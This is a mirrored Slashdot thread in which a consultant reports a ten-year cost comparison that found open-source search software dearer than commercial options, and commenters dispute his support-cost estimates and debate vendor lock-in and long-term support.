Slashdot Mirror
Open Source More Expensive In the Long Run?
"Here are some details for you:
I am currently doing consulting work to create a complex custom search utility for a governmental agency. The first major step was, of course, to select a Search Engine that provides as many of the custom requirement features as possible; thus reducing the amount of custom code and my expensive time. Besides high-end search features my customer also required something that was fast, easily administered and likely to be supported for a very long time. Why the last? Well, the expected lifetime of the new project is ten years and this is not out of line considering that their current system is more than a generation old!
Consider again the environment; this is a government agency and is somewhat resource starved. They have a limited number of staff and the staff must split their time among many different working areas. They must be generalists and do not have time to specialize. Plus there is some turnover, especially among the better skilled staff. These factors lead to a basic requirement that there is someone they can call for support for every product they use, preferably 24 x 7. They also need to know that this support will be available for the entire lifetime of the project -- in this case a full decade.
Now to the chase -- without going into boring details, or names, we were able to locate nearly sixty Search Engines that might be suitable. Most of these were commercial, but some were Open Source. From this list we selected eight that seemed most likely to provide all the capabilities we needed, of which one was Open Source (in fact this was actually two variations of the same project). We then performed detailed paper analyses of these products, comparing features to our requirements list and doing some estimated per-year costs to determine the lifetime costs. From the results of this we selected a smaller number for in-house evaluation and from that we selected the final recommendation.
For the commercial products the vendors could supply us with support costs, often broken down in such a way we could choose our support like a Chinese menu. But for the Open Source products this was not the case. Contacting the maintainers of the Open Source products and asking if anyone provided commercial support was fruitless; in one case the response was downright rude (basically a variation on RTFM) and in the other the response was more helpful, but still could not suggest anything other than being active on the mailing list.
So I had to figure in the cost of one of my customer's IT staff staying active on that list and learning enough about the product to provide in-house support supplemented by the email list. Estimating this at one tenth of an FTE and that FTE at a low $80,000 per year resolved to $8,000 per year. This was nearly three times the cost of the most expensive commercial product support!
When factored in with equal administration costs, adding in training and support (available from these vendors) and other one-time and yearly costs (for such things as licenses), the commercial products were more expensive for the first four to six years of lifetime costs, after which the Open Source product became more expensive. Of course the difference wasn't too great, ranging from 20% to 60% higher in a ten-year lifetime. But it was there nonetheless.
Now my customers are not averse to using an Open Source product. After all, there is no guarantee that even the most established vendor will not fall by the wayside in those ten years. They just want to have a certain comfort level, even if it is illusory. And I must admit that any commercial product will require some time from their IT staff, but because there is 'support' available this is seen as being much less important. Major fixes or changes can be dealt with by hiring consultants like myself, and lesser issues dealt with by calling customer support. They might even be right in this estimation.
My estimates might have other holes as well, but that isn't germane. The selection process is nearly complete now and, in a detailed analysis the Open Source products turned out to be missing a couple of features that would have been showstoppers even had support been available. I want to know what resources I can use to (honestly) avoid this issue the next time I am comparing Open Source to commercial software for a client!"
Well, here's why open source is still economically sound. As todays software companies start moving to timed software licenses, open source will be around. So in two years you may be writing a check every year to microsoft for the right to use Office. But if microsoft folds then you are out of your entire investment and you have no access to the data you created while using the service.
With open source if the devo team quits, folds, or stops supporting their software you still have all the information to continue to use and improve the software you're using.
I don't believe that makes open source more expensive, I believe it makes it more flexible.
Chicago2600.net more than a lifestyle, its a survival trait.
1. Be more stable and contain less bugs in the long run
2. Cost less in terms of licensing etc
3. Have projectable license costs. ie Nil. Whereas who knows how much Micro$oft will charge you in a couple of years.
4. Gain from *not* having to upgrade due to it no longer being supported. Proprietary software forces you to upgrade and infact is built into their model. If you don't buy they go bankrupt
5. Allows you to *gain* from quick bug fixes, security patches and the like
This seems like a typical TCO attack on Open Source which needs to be carefully assessed in a research setting where the differences can be clearly ascertained between proprietary and Open Source software..
---- The Open Source Record Label : : LOCARECORDS.COM
And announce you'd like to set up a long term 24x7 support contract on the project and ask for bids. Vet them properly and I'm sure you'd come away with a more reasonably priced TCO then you've calculated.
Just a quick comment: commercial support isn't always the answer, and there are subtle, hidden realities there.
For example, my company pays $2000 for annual support on a commercial mail filtering product. This product will (seemingly randomly) return about 2% of all outgoing mail as undeliverable. No problem, because we have the maintenance contract, right? WRONG! Because the vendor plays the finger-pointing game, saying it's the firewall, or the mail server configuration, or anything else but their software.
Software, either purchased OS'ed may appear to be cheaper or more expensive than the alternatives, but be careful, and thorough, when doing the comparisions.
I run a small (one employee) business. All critical business functions are performed by commercial software. Sure, I'd like to use an Open Source server product and release my software to work with it, but I'm not comfortable doing that. There's too many possible configurations out there to try to support, and telling the end user that they have to do it my way never seems to work in the Linux world. These are people who pride themselves in being different - they want to tinker. I can provide a Windows installer and let that make all the decisions. Besides, my industry (transportation and logistics for small companies) is ruled by Windows. That's the reality I have to target.
Writers imply. Readers infer.
Not if there is no support. Very few OSS projects have real support. that is one of the things pointed out in the parent post, nobody will support it. That is fine if you are going to have a person dedicated to becoming an expert in the product but that costs alot of money.
some pay software is actually the best choice. Granted, not always... I am reminded of a time when a large publishing company I worked for was reluctant to use a whole set of Perl scripts we developed unless they could "buy" Perl. I told them to send a couple hundred bucks to larry but that didn't fly.
"Open source" is a huge expansive field. Some products will be easiers/cheaper to administrate and support, and some will be more difficult. The 'commercial' vendors have an advantage because they are spreading the support costs (all the infrastructure that goes with support as well) across many customers. Taking a DIY approach means most or all of those costs are born in your company, even if it's a small amount.
Shameless plug: My company offers professional PHP support via phphelpdesk.com (PHP itself and most of the packages around PHP, including Apache, MySQL, etc) as well as hands-on training courses. There are other companies that provide similar services for other languages (probably more for Java than PHP, for example).
creation science book
Comment removed based on user account deletion
I find that commercial software is updated or "upgraded" to a new version, new license, hence a new lifetime much more often, whereas the OSS applications we use such as Apache, just age and get more patches, hence a much longer lifetime, and more apparent support required. Looking at our system to admin ratio, the M$ systems are at like 15 to 1, while the unix systems run more like 30 to 1. Note I am not counting the Bazillion M$ desktops because they are generally imaged and they do very little trouble shooting, just reimage and restore.
errr....umm...*whooosh* *whoosh* Is this thing on ?
Added to this, once you've bedded the product in, probably over a course of 2-4 years, it will just sit in the background and work as-is without any intervention.
It's time for that myth to die.
Companies are in business to make money. Linux was and continues to be front page news--people know about it. So, while this article may get hundreds of yelling and screaming "point of fact" replies, it seems that many companies have tried OSS software (or at least costed it) and have come to the same conclusions--in the long run, it's at least as expensive as commercial equivalents.
And I'm coming at it from a number of standpoint standpoints:
remember the old saying:
"It's only free software if your time is not worth anything."
First off, on an annual basis 1/10th of an FTE is probably excessively high. That's 4 hours a week devoted to being the support guy for this OSS product by reading mailing lists and maybe doing a little patching. When new releases are deployed or new security bugs found or whatnot, you *might spend* 4-8 hours that week, but I bet most weeks and even most years it takes far less time. Another thing to consider is that some of this time spent supporting (and learning to support) a peice of OSS can be amortized with the costs of supporting other software. In other words, once you get one guy trained in the workings of the OSS world (where to find FAQs, how to address people on technical mailing lists, simple source patching, etc), he can apply those skills across the board. Proactive support in the form of watching for new bugs and security reports gets clumped together by BugTraq et al.
If I were in your position of making the support cost analysis, I'd probably put it at more like 2 hours/week on average the first year, and dropping to 1 hour/week on average the remaining years. This should place it around the same $$ as the commercial options. This is assuming this is the only OSS around. If the same department picks up a few more OSS support tasks, they can lump them into this one guy and drive his cost per peice of OSS even lower.
Perhaps rather than a new business model, large companies should create new positions called "OSS Support Engineer", and hire linuxy geeks who know this world to sit in and be their in-house mediator between their developers/admin and the mailing lists and authors of the OSS.
11*43+456^2
I work for a company that is trying to migrate from Sun to PCs, and (against my advice) chose the windows NT line (it won largely on the support argument). For some of our in house applications we do a lot of parallel computing, NT was simply not able to do a lot of what we needed it to do. Anyone care to guess how much support we have gotten? We have gotten none, MS responded to our complaints by telling us (paraphrased) 'you need to find a way to hack our system'.
In closing...
You have to consider the quality, and amount of support you get for the commercial stuff, not just that they claim there is support.
"I'll have a Guinness, no wait, make that a Coors Light" -Grad student I work with, who shall remain anonymous...
When this is weighed into the equation, I'm pretty sure the TCO changes in favour of OSS.
Open source is not a single thing. The question isn't whether open source is more expensive than closed, it's whether a particular tool is more expensive than another. In your case you found that an open source tool wasn't the way to go. In other cases you are bound to find that it is the way to go. Credit to you for approaching it in an objective manner.
I live ze unknown. I love ze unknown. I am ze unknown.
The problem with these analyses is that it often overlooks how little commercial support really gets you. Esp. if you're looking at very long duration projects with limited resources to pay somebody to support your platform long after everyone else has moved on.
Let's set the way back machine back about the same number of years, let's say to 1994. You develop an application and buy hardware....
Your Linux solution is running a pre-1.0 kernel on a box that runs under 100Mhz. If you need to recompile it to work on new hardware and OS when your old system bites it, you can.
Your Windows solution is running on Windows 3.1. Good luck getting support for it. If you are willing to pay for a whole new development cycle, you reinvented it for Windows 95. Good luck getting support for it. Ditto your upgrade to NT4, which also required all new hardware.
The cold hard truth is that when you're looking at a long window, you MUST have FULL source or you're hosed. At some point you're going to need to run on hardware that's no longer being made, or your hardware will require some driver that you can't get without upgrading your OS, etc.
For every complex problem there is an answer that is clear, simple, and wrong. -- H L Mencken
In nearly all cases, if you have competent admins, you don't need support. Tech support staff are by and large not good at troubleshooting and are don't know the products they support very well.
On the other hand, most trouble can be solved by groups.google.com, good investigation and troubleshooting, and sometimes an upgrade.
Honestly -- who really uses support?
I, for one, welcome our new Antichrist overlord.
But don't compare that to general purpose business computing.
Mismanagement can make lots of things really expensive.
I've used BIND for YEARS. Very little effort except to keep it up to date. Low costs.
I've seen people mangle Lotus Notes into being unbelievably expensive, shown when the lies, damn lies and statistics took into account the same costs they fixed to our Sendmail and QPopper infrastructure (every desktop admin who did pkg_add of my sendmail build once on the machine was had their salary attributed to the cost of standards based mail). We suggested that their notes costs that left out administrators was a bit slanted.
Careful management and selection of software is important.
The acquisition of software is usually the smallest cost.
But support for "unsupported software" and, more, the ability for a talented administrator to fit it to his company's needs is often well worth that lack of security PHB's have.
That and a list of unresolved bugs from our "supported" software :)
. So yeah, I can take a bug tracking/CRM system, install it and make our bug tracking process fall in line with the vendor's notion of how we should do our business or
I can take open source components (bugzilla, GNATS, etc) and other tools and use them to fit how we do our business already.
The latter might take more effort, but at my previous company, we had an ENORMOUS CRM tool that only ran on windows (now add cost of desktop windows where before we had been a 70% unix shop) and we ended up with a tool that Sales marketing and tech support HATED. The data in it was often useless because it was such a burden to use, and we ended up hiring extra people to deal with data entry.
But I know that I could make a case that showed it was cheaper than using Open Source by perhaps showing that features we didn't really want before, but used later only because they were there (report generation that was handy, but far from critical) would have been an additional cost to add to O.S.S.
On the other hand, I've used tools where once we've been bound in, the ONLY way to generate reports was through expensive tools.
A little Perl and ASCII logs from Open Source often make Open Source a winner on this, but that often won't be taken into account.
Many of us here have slapped in a free tool to do things that the corps were taking forever on. Example:
A $3000/machine host monitoring solution was found and chosen.
Now there must be a committee to best decide how to deploy and configure it.
We get bored. net-SNMP on all our machines (runs scripts, reports info, etc) and NOCOL and 2 days later we have 40 machines monitored via the Web, pages getting sent on outages etc.
6 months later, we're told to take it down and pony up $3000/machine to use the "blessed" software.
I congratulate you with the practical and inspiring approach taken by OpenChallenge. It is interesting that this scheme both stimulates the release of open source software and is also operated by people within the open source community itself. Perhaps such a "challenge posting" scheme is also of interest for public authorities to promote open source development. -- Erkki Liikanen European Commissioner for Enterprise and Information Society.
You briefly touched on this in your post, but what is the comfort level of the vendors you have found? What are the chances of them falling by the wayside, and being unable or unwilling to provide you with the support you may need. Are they large, and well-established companies, or are they smaller shops that may disappear if times remain tough?
Have you also factored in support contracts, and that products purchased, may be EOL'd, and force upgrades to continue being supported. These forced upgrades could then have a trickle-down effect of increased license costs, licensing changes, and increased hardware costs (new servers).
Not to sound to OSS Zealot-like, but by having the source code, you own it for the life of your project. With a third-party vendor, you are ate the mercy of the vendor's support staff, and development.
I'd say take a closer look on support costs, licensing upgrades, and the products being EOL'd and forcing upgrades.
Our FEDEX machine is Windows NT; support for that consists of some phone tech reading (haltingly) from a flow chart.
Our office PC runs Windows 98, unsupported by MS. We have two Macs, one a clone running OS 9.2 (unsupported), and the other running 10.1 (Apple has moved on to 10.2.)
At home, I'm using BeOS (unsupported - Be is dead, soon to be supported open-source style!) and some other unsupported Windows configs.
Security and bug patches for windows 95/98? New SPs for Win 2000? Nope.
What was the question again?
First, this sounds like a turnkey system, once installed. Your estimate of 1/10th of an fte seems a little high; once installed, the search engine shouldn't take 45 minutes a day to maintain.
But, in any case, if they have an employee who can shoulder the burden of maintaining this product without adversely impacting that employee's performance, then internal support costs nothing at all. Plus, there are very few commercial products that are guaranteed support for even a few years, let alone 10. Sure, support this year is available at a reasonable cost; but there's a good possibility any random company will go out of business within the next ten years, or they may drop support for that product.
With open/free software, you have the chance to maintain the product yourself, long after the original producer has dropped support.
Microsoft is to software what Budweiser is to beer.
There is an economy of scales working here.
Where support costs on OSS really make sense is in a company where there is one geek that can manage several OSS products. If this fella is getting paid 80,000 per year and he can support many OSS products, your cost of support decreases. As he supports more products the cost per product drops.
On the other hand, in your case, there is one product that must be supported, and one person supporting it -- or there is only outside support. In your case, OSS software probably is more expensive than a supported, probably more intuitive product.
the product you've purchased is no longer supported by the company that created it? Companies come and go, so do software products. I would imagine that you'd be in the same boat regarding support in a couple of years OSS or not. Look at windows 3.1, you think you're going to get usefull support from M$? If you need a timely solution you'll have to track down some expert close to you anyways. And considering how much more OSS uses open standards, finding a usefull 'expert' even in a few years after deployment should be alot easier then trying to deal with the support you'll get from software vendors.
Too many times we've paid for support from a vendor, only to discover that the problem(s) we've encountered are beyond their ability/desire to resolve...and we've been stuck with a useless product...
At least if the product was OpenSourced we'd have the option of subcontracting the fix to a thirdparty rather than having to dump it and find something else.
24x7 Tech Support just means they'll answer your call...not that they'll fix the problem.
Just my 0.02c
Give a hand, not a hand-out.
I think it is possible to find good open-source support, cheaply or freely.
The hardest part, usually, is finding a source that 1) gives quality support, and 2) is not comprised of contributors who like to treat newbies like idiots.
For just about any good OSS project, there are good FAQs, How-to's, Forums, and Mailing lists to help answer your questions. I few I can think of off the top of my head are projects like PHP, Apache, LEAF/LRP.. the list goes on. Usually, the closer you are to the source of the project, the better luck you will have and the nicer people you'll have to deal with. The more removed your source of support (133+ script kiddies! yo!) the more of a chance you are of being belittled by kids who can't even drive yet.
I've also found that dealing with companies who offer commercial solutions built on top of OSS projects -- (Ciphertrust's IronMail, for instance) tend to be very knowledgable and helpful, granted for a price. But, the support is out there. Good support is out there. And for little or no more than you'd pay to Intel, IBM, MicroSatan, or any other vendor...
Ed R.Zahurak
You know, oblivion keeps looking better every day.
The point of the submitter's comments was that the products with a support structure in place were less expensive than products without a support structure in place (that would require someone on staff to do support). Whether any of the projects involved (on either side) were open source or not doesn't factor into the equation -- it would've been just as likely that they could've gotten the author (or team) of one of the open source projects to charge for support as to blow them off, and if that happened, there'd be no article, would there?
In other words: SHBT. SHL. HAND.
But for the Open Source products this was not the case. Contacting the maintainers of the Open Source products and asking if anyone provided commercial support was fruitless; in one case the response was downright rude (basically a variation on RTFM) and in the other the response was more helpful, but still could not suggest anything other than being active on the mailing list.
Sounds to me like this just is not a supported product. You can't can get support if it isn't there.. Open Source doesn't mean every product is magically supported by some roving group of expert consultants. If you have to choose between closed-source lock-in and nothing, well, I'd have to go with the lock-in.
Of course, an open-source consulting company might pop up in the next couple of years that does exactly what you want for 1/10 the price and gives you freedom, but since you went with the closed-source solution, you're stuck.
I've found that Open Source is usually cheaper because you have the flexibility to choose how you want to do things. Stick with your old hardware, upgrade, pay a consultant for a one-time job, do it yourself, etc.
...since you posted a (well-articuled, at that) argument that OSS might not always be the cat's pyjamas, I'm willing to wager you're new here ?
I think 10% of a FTE at 80K /Year * 10 Years is an over estimate.
Try this instead
Learn the product comletely. 1 FTE * 2 Weeks 2 weeks = 2/50 (roughly) so 80K/25 or 3.2K one time. Ignore installation customization, since you will have to do that for any product. Assume four major crisis the first year where that person spends 2-3 days dealing. 80 hours / 2000 (roughly 2000 working hours per year) or 4% again of 80K $3200. Subtract from that the time this same person would spend on the phone with the support staff, etc etc and I think I'd be willing to shave that estimate down by a day at least, so say $3000. So your up front costs are 6 Grand. Assuming that crisis moving forward are less frequent, say one weeks worth a year, your year total will be $1500. So you are looking at a total cost under 20,000. or 2000 year
Open Source Identity Management: FreeIPA.org
Once again it really depends upon what Open Source product you are talking about. Some are only half-maintained and you'd likely be an idiot to use them. You might be half-way through your development, find a serious bug and have no recourse. With a commercial app you've signed a contract with they'll typically help you a great deal. Some Open Source projects as well. Others. . .
I think part of the problem is that most people hear Open Source and think Apache or the like. Yet those are but a small segment of the overall Open Source movement.
As many others have said, deciding on software really depends upon the individual product and (to be fair) your development staff.
It is more productive to voice thoughtful opinions (reply) than to judge (moderate) others.
I think you're being a little simplistic figuring out the support costs.
You're figuring on 1/10 of a full-time engineer to support the search engine. Do you think that with a commercial product that you can devote NO engineers? Even with a commercial product somebody has to keep tabs on things. Even when you buy support, the support engineers don't typically call you and remind you of bugs or do any of the work.
You'll need to dedicate time to the product regardless, and in some cases more time to commercial products.
Its good to see someone doing a complete cost analysis, but I have a question. Why would you need to have someone lurking in the boards for the next eight years?
I can see being heavily involved on the boards during development. I can see it too if you're doing a feature upgrade that involves upgrading the engine or using new capabilities of it. However, if they're really currently running a system that's a generation old, I'm guessing that that system is rather poorly suupported today. I'm also guessing that it doesn't need much support.. development ended several years ago. Maintenance support is much less than integration and first deployment.
At some point, all products reach end-of-life and require personalized support. Fortunately, by the time that happens, the products that use them have been deployed so long that they're either replaced or the customers have been happy with the stability and feature-level and don't want to touch it. There are still some holdouts that are sticking with their favorite 24x80 text editor on DOS simply because, "It ain't broke!"
Instead of $8000/yr for the next eight years, I'd use a logarithmic scale that tapers down rapidly as the bugs are hammered out in the version you're using and active development shifts on to the newer versions. There will simply be less and less things for your support engineer to watch the boards for.
`` For the commercial products the vendors could supply us with support costs, often broken down in such a way we could choose our support like a Chinese menu. But for the Open Source products this was not the case. Contacting the maintainers of the Open Source products and asking if anyone provided commercial support was fruitless; in one case the response was downright rude (basically a variation on RTFM) and in the other the response was more helpful, but still could not suggest anything other than being active on the mailing list."
Hmm. I guess someone is either making a lotta of money in this down economy (& doesn't know anyone scrounging for work), or is still in high school & has never wanted for toys.
I'd suggest that you try a few mailing lists or look at a couple of websites. There are lots of folks out there who are both skilled & looking for work, & who would be more than happy to offer you a quote.
``So I had to figure in the cost of one of my customer's IT staff staying active on that list and learning enough about the product to provide in-house support supplemented by the email list. Estimating this at one tenth of an FTE and that FTE at a low $80,000 per year resolved to $8,000 per year. This was nearly three times the cost of the most expensive commercial product support!"
Well, figure again that if you have any kind of enterprise-level software running, someone will have to spend some time monitoring the relevant mailling lists, periodically checking web sites for patches, et cetera. 0.1 FTE works out to being 4 hours a week . . . which seems to me twice as long as it would need. But whether you buy something from Microsoft, Oracle, Sun or download & install an Open Source solution, this constant amount of research needs to be done.
Expecting the support arm of any company to do all of this is foolish. While they will have access to resources you won't have (defect databases, source code), from my experience unless you pay a lot more than $8,000/year the support you'll get from them won't be much better -- & may be worse -- than what you get from the mailling list run by the users.
And if you pay a consultant with the expectation that she/he will do all of this & none of your staff, all you are doing is allowing someone to acquire job security at your expense.
You're going to have to allocate the FTE for maintaining this project no matter which way you go. And you'll have to convince your bosses of this fact.
Geoff
I think I see a trend here. Maybe for them it really would be easier to muzzle the entire internet than to produce p
In the long run, you can't buy support from a company that doesn't exist.
If you read his essay, he already concedes that projects like Linux are exempt, because you can buy support from someone like Red Hat.
He is talking about the more userland side of things that tend not to have companies behind them.
Sure you can say RTFS, but that is why the support costs are high, you have to hire a consultant or a full time programmer to RTFS of each new project you use. He takes time to read the source, then debug the source, instead of calling a company for an update that exists because several customers have already had the same complaint.
1) If you are looking for commercial suppose for an open source product, why would you choose one where it's not available? That seems pretty silly, as does the related point in the original posting.
2) 10 Years is a long time in the software business. What are the chances that the product will exist in something resembling its current form in 10 years? Obviously there is some software that has a very long life, but the great majority of it does not. Assuming the commercial vendor still exists in 10 years and hasn't merged / split / dropped the product, will they still have anyone working there to support the very old software?
If you pay someone else to do your support for you, they get a cut.
If you're big enough that you've got an IT staff instead of an IT guru, you're probably big enough to do your support on open-source software in-house, and save money on it. If not, then yeah, outsourcing probably saves you money on training and whatever else and that may offset the cost of buying the closed-source software and the support.
But once you're in the similar "economies of scale" range, buying support from someone else just adds a middleman.
10% of an FTE. Someone would have to spend 10% of their time (full time job) just to read a mailing list? That's a LOT of time. Assuming 7 hour days - that's 42 minutes spent every day just reading the mailing list. Wow.
What about a slightly more sporadic use pattern? For example:
1) IF you have a problem - post it on the newsgroup (or to the mailing list).
Then the next morning see if you have any replies.
2) If you have a person that is fluent with some aspect of the software - have them spend half an hour a WEEK to glance through most recent mailings and see if they can answer any of them. (Optional step - but it's nice to give back to the community).
3) See if the mailing list has a cache of old messages. That way you can check if your question has allready been answered in the past week/month/year. If not, perhaps arrange to have your own locan cache - that can be as easy as a new e-mail account with a large quota and a decent e-mail client that allows you to search it.
You claim that it's a requirement that this system would have at least a ten-year lifetime. Did you get commitments from the software vendors that they would support their product for ten years, or help you transition to a replacement product? Companies regularly terminate unprofitable products, and in some cases they withdraw timed license keys, with the effect of causing deployed systems in the field to cease to work.
If not, then the only option for you that you can be certain of maintaining over a ten-year life is the open source option.
I would like to see Microsoft beat the TCO of my current system.
I did make a donation To Debian when I got the initial installation CDs (but I didn't have to.).
Upgrades are freely downloadable and can be done automagiically.
Microsoft could pay me to take windows.
Then they could pay me to install each Service pack.
Then pay me again when they come out with the next Version of Windows.
I would keep the windows machine up to date.
Use the Debian box.
Then donate the bribes to Debian
134340: I am not a number. I am a free planet!
"Hello, welcome to Open Source Phone Support. Press One to listen to the fucken manual. Press Two to get a fax of the fucken manual. Press Three to get email of the fucken manual. Penguin T-shirts are currently on sale for five-ninety-nine. Proceeds go to improving the fucken manuals. Please stay on hold if you wish to purchase one. Oh, and by the way, don't forget to read the fucken manual before you call again. Have a nice day."
Table-ized A.I.
You have assumed that a commerical company will support you for the ten year lifecycle of the project. However, it is very likely that the commerical company will fold or discontinue the product during those ten years. After that you will be unable to fix problems or add features as you will not have access to the source code.
Only an open source product is guaranteed to be supportable for the full ten years of the project. Even if the development team for the product get bored and leave, anyone sufficiently skilled will be able to step in at anytime and make modifications or changes.
The community that uses the product will quite likely start supporting it themselves (if they aren't already). Or of course your employee may be able to make small changes even if they are not the greatest developer on the planet.
So, from your list, in order to fulfill your brief correctly, you should really be looking only at open source products (commerical or free).
I know you think you are /.'s head iconoclast, but you know as well anyone that MS has NO interest in encouranging crossplatform compatibility in ANY document formats, outside of enough lipservice to fill out the RFP acronym checklist of the day. The *default* save format (i.e. the one that 99% of the user base will use), while possibly being XML based, will no doubt be encumbered by very onerous NDA and licensing restrictions.
.txt from day one, and nobody uses it.
.html from Word is also an option rarely used, and when it IS used, horribly broken, unreadable .html is invariably the result.
Word had the capablity of saving as
Exporting
Portable, open, unlicenced "save as xml" will no doubt be an option, but one that NO Office user will use, either out of ignorance, or out of frustration that the output is either hopelessly munged/unreadable, or simply isn't representative of the actual document's formatting.
Closed Source:
Running your business on closed-source software is becoming riskier as more closed-source vendors tank, whereas there are more programmers avail. to maintain OSS because of closed source cos. tanking...
Its true, really. Anyone who doubts this can come sit at my desk with me while my company unknowingly pays me to compile and recompile KDE/GNOME/Mozilla /etc. all day.
Don't blame me, I get all my opinions from my Ouija board.
the commercial products were more expensive for the first four to six years of lifetime costs, after which the Open Source product became more expensive.
And after 6 years. Does any vendor provides you any guarantee that they will be there supporting the product?
And if they're not there or they don't support the product anymore, will they open-source they code so you can find some kind of independent support?
I think the fact that the expected lifetime of the system is that long is just one more reason to go for open source !!!!
It seems to me that the lifecycle cost of any particular application will vary markedly on the particulars of the situation. The concept that you can say xyz has a lower TCO than abc is so dependent on the particulars of the situation you cannot make generalizations.
Now, I dunno what kinda search engine you're looking at but 10% of a staffers time (4 hours a week) seems high to monitor the relevant mailing lists just to "keep up". Particularly high if the staffer is just "keeping up" with security and compatibility issues and not regularly implementing extensive feature changes.
Aside from that there's the simple issue of someone riding herd on the commercial vendor's install. Depending on what kind of contract you've got generally someone in-house has to keep on top of things and make sure that the vendors is maintaining their install up to date and secure. That may well be about the same amount of time as the Open Source project may require, something I think you may not be accounting for.
Lastly there's the whole long-term viability/migration issues. We've all seen any number of projects get cut, killed, their vendors wither into uselessness, etc. As many have pointed out with Open Source at least you've got a copy of the source code to hand to someone else hired down the line and keep running. One can of course write in code escrow clauses into a commercial vendors contracts but generally they add a lot to the cost and it's a constant battle to keep them up-to-date. Plus in a decade when the whole thing is re-up for evaluation with Open Source at least you have the file formats identifiable, with closed you may have a dickens of a time pulling back out your data.
Frankly I don't think your evaluation is particularly useful, especially as a generalized one. It may well be that the Open Source project only requires a low-level staffer's yearly look-see to keep up to date. Or the commercial version may demand bringing in outside consultants to baby-sit as the entire environment evolves from today's assumptions. Or the other way round. Good topic, bad example.
I don't read ACs: If a post isn't worth so much as a nom de plume to its author then I wont bother either.
Where does the TCO stop? When you buy another version or upgraded product? Basically does you W95 TCO stop when you upgraded to W2K which has its own TCO? Why would you not add the TCO's of both into a Total TCO of keeping your computers running over the years? This is something to consider when using open source. Two or three years done the road you can modify or add to your existing software to keep the software going and support your existing needs, you will not have to throw away package A and start over with package B. If you upgrade often your support costs may be less because more people are currently using it but your software costs go up (supply and demand). If you hold on to an application longer your costs will go up for support as less people are using it in the end but you will pay much less overall in software costs. Open source would allow you to keep an application going with third party support that does not have to be from any one vendor or from in house, seems to me this would make open source cheaper the longer it is used. Maybe not so cheap if you have a full time programmer on your pay roll to make a few changes to a package once a year but how does that?
What is Omnipage Pro up to now? version 12 or something. To maintain those "cheaper" support costs you have to keep buying the newest version.
Bad boys rape our young girls but Violet gives willingly.
"Contacting the maintainers of the Open Source products and asking if anyone provided commercial support was fruitless; in one case the response was downright rude (basically a variation on RTFM) and in the other the response was more helpful, but still could not suggest anything other than being active on the mailing list."
Did you try: we're gonna pay you 400$/month to answer our questions regarding product xxx?
That's where I meant to stick the extra 'o's.
Thanks.
I mean hell, some companies, like Oracle, are extremely expensive to deal with, just as much as any open source support, and you have to pay extra for the software itself.
Also, is your open source solution going to last 5 years? When's the last time a Microsoft product lasted 5 years where you didn't have to pay for extra software?
~ now you know
As a long time corporate IT hack, I can tell you that you need in-house expertise for almost all of the software you end up running. I dont care how much it did or did not cost to install; that is irrelevant.
For mission critical applications, even commercial support is lacking.
I market my skills with many commercial products to many different clients. IBM MQSeries, MVS, HP/UX, Microfocus Cobol, Oracle, DB2, IDMS, etc. etc. etc. Even thou the client has a support contract with every vendor, there is still an in-house need for that support. That's when the contract me..(james bittner at netscape dot net)
The lack of that type of support for OSS is a vailid concern, but the cost estimates where way off base. OSS or commercial, doesnt matter, they is a certain level of in-house (could be contracted on temp basis) support required that did not get figured into the estimates.
Trust me, vendor support does not mean they will make everything work for the cost of that contract. the contract allows for minimal help, and everything else is billable....
j.b.
I had to figure in the cost of one of my customer's IT staff staying active on that list and learning enough about the product to provide in-house support supplemented by the email list. Estimating this at one tenth of an FTE and that FTE at a low $80,000 per year resolved to $8,000 per year. This was nearly three times the cost of the most expensive commercial product support!
...
When factored in with equal administration costs, adding in training and support (available from these vendors) and other one-time and yearly costs (for such things as licenses), the commercial products were more expensive for the first four to six years of lifetime costs, after which the Open Source product became more expensive.
I must admit that any commercial product will require some time from their IT staff, but because there is 'support' available this is seen as being much less important. Major fixes or changes can be dealt with by hiring consultants like myself, and lesser issues dealt with by calling customer support. They might even be right in this estimation.
Did you caculate the cost of the "much-less-important" but still necessary time of the FTE to support the commercial product? Did you calculate the cost of hiring consultants for "major upgrades." The text above sounds like you did not include them, and only mentioned incidentially. What percentage of time will an FTE need to be allocated to support the commercial product? How many hours of consultant time will be needed for the major upgrades?
Software Wars
The real problem, unfortunately, is the shop's sunk costs. In large MS corporations, what's the cost of deploying one more intranet system? Basically zero. That's because at some point you start getting economies of scale. Unfortunately, this person was doing the analysis based on having to take on all the costs at the beginning, whereas let's say the entire government was open-source and they had a team that could write code/support/develop, etc. Then this project wouldn't require support and the expense goes way down because to add one more system would basically be zero. So I agree, his conclusions are probably correct in this case. But this should be seen as a big win for open-source; before you weren't even in the analysis!
"This isn't a study in computer science, its a study in human behavior"
So that you can make a product or steal bits of code. Just because something is opensource doesn't make it cheaper in any aspect really. What it does do is provide you with choice; the choice to fix a bug, the choice to add documentation, the choice to add a new feature etc etc. Which WILL save you money in the long term. Is it going to cost more to support in the short term for a large sum of code, yes. If you want a solution that works with support then you go with the Company that is providing support for the opensource project (eg: mysql, apache blah blah blah). If there is none then you're on your own, however anyone that understands the economics of these things will tell you that sometimes buying the big package and writing it off is ideal. However the cost that you don't see is the one of choice which believe it or not will most likely end up costing you alot more money in the long term. Especially because you can't adapt without that commercial company.
If your time is worth nothing.
Seriously, all computers suck...Mac, Sun, PCs running windows, PCs running Unix....etc. They all eventually break, and they break too often. I'll admit, some do suck less than others, but I won't even think about starting that topic here.
-ted
First, what is the probability that the commercial vendor will still be in business, supporting the version of the product that you want to use, in 5 years? 10 years? 15 years? Vendors typically have an end-of-life schedule and forced upgrades for products. Going through an upgrade, particularly an unwanted upgrade, can be just as expensive as re-writing the product from scratch.
There are a few very large systems vendors that have been in business for a long time and will commit to supporting any version of a product. Typically such contracts carry price tags that increase at least to the power of 1.5 per year. At least. Used to work for a company that paid for support on a 1950s vintage application (in the 1990s!). The cost was a significant percentage of their total revenue.
However, there is also one very large system vendor that has a habit of buying marginally successful software vendors, milking their support contracts for three years, then terminating the product. Do you have guarantees that won't happen?
Second, you make it sound as if when a problem occurs with the commercial product, you pop a punch card in a slot and *bam* a solution appears.
In fact, handling the vendor/support relationship on complex commercial products is an art and can easily become more than a full-time position. Software vendors have to be managed in much the same way that pre-teen children do: encourage them, praise them, lead them toward answers but don't do their homework, pick up their laundry off the floor, and discipline if and only if necessary. That is not an easy job, and one that generally takes a lot of time (again - just like children). Finally - what does your client do when the vendor just refuses to fix a problem? Which they will, eventually: "Sorry. Working as designed. Submit an enhancement request.". What now?
sPh
I hate all TCO studies. I don't care who does it or what they're testing.
TCO needs to be analyzed on a case by case basis. There is no magic number. Let's look at two companies.
My company
Software:
Wordperfect
Lotus
Internet Explorer
IBM Client Access (for AS/400)
Groupwise
Access
